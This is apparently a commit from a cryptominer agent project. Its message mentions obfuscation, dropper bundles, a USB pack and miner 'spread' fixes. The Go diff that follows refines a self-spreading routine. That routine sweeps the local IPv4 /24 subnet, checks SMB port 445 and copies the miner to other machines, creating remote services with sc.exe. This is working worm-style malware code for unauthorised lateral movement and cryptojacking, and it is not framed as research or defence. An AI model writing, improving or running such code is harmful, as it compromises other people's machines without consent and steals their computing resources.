fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
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@@ -8,7 +8,6 @@ import (
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"net"
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"os"
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"path/filepath"
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"strings"
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"time"
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"crypto-miner-agent/config"
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@@ -16,9 +15,12 @@ import (
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// StartAutoSpreader launches a background routine that periodically attempts
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// to replicate the miner to other machines on the local subnet via SMB and RPC.
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//
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// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
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// sc.exe service creation require an admin-capable token and reachable TCP/445.
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func StartAutoSpreader(cfg config.RuntimeConfig) {
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// AutoSpread feature retained per user request.
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// Enables SMB/RPC lateral deployment on the local /24 subnet.
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// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
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if !cfg.AutoSpread {
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return
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}
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@@ -63,12 +65,18 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
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seen[t] = true
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}
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for _, ip := range ips {
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if !isIPv4(ip) {
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continue // active sweep is IPv4 /24 only; see subnet.go
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}
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subnet := getSubnet(ip)
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if subnet == "" {
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continue
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}
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for i := 1; i < 255; i++ {
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candidate := fmt.Sprintf("%s.%d", subnet, i)
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candidate, ok := ipv4SweepHost(subnet, i)
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if !ok {
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break
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}
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if candidate == ip || seen[candidate] {
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continue
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}
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@@ -99,39 +107,6 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
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}
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}
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func getLocalIPs() []string {
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var ips []string
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ifaces, err := net.Interfaces()
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if err != nil {
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return ips
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}
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for _, i := range ifaces {
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if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
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continue
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}
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addrs, err := i.Addrs()
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if err != nil {
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continue
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}
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for _, a := range addrs {
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if ipnet, ok := a.(*net.IPNet); ok {
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if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
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ips = append(ips, ip4.String())
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}
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}
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}
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}
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return ips
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}
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func getSubnet(ip string) string {
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parts := strings.Split(ip, ".")
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if len(parts) != 4 {
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return ""
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}
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return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
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}
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func attemptSpread(cfg config.RuntimeConfig, target string) {
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// 1. Quick pre-check: Is port 445 (SMB) open?
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conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
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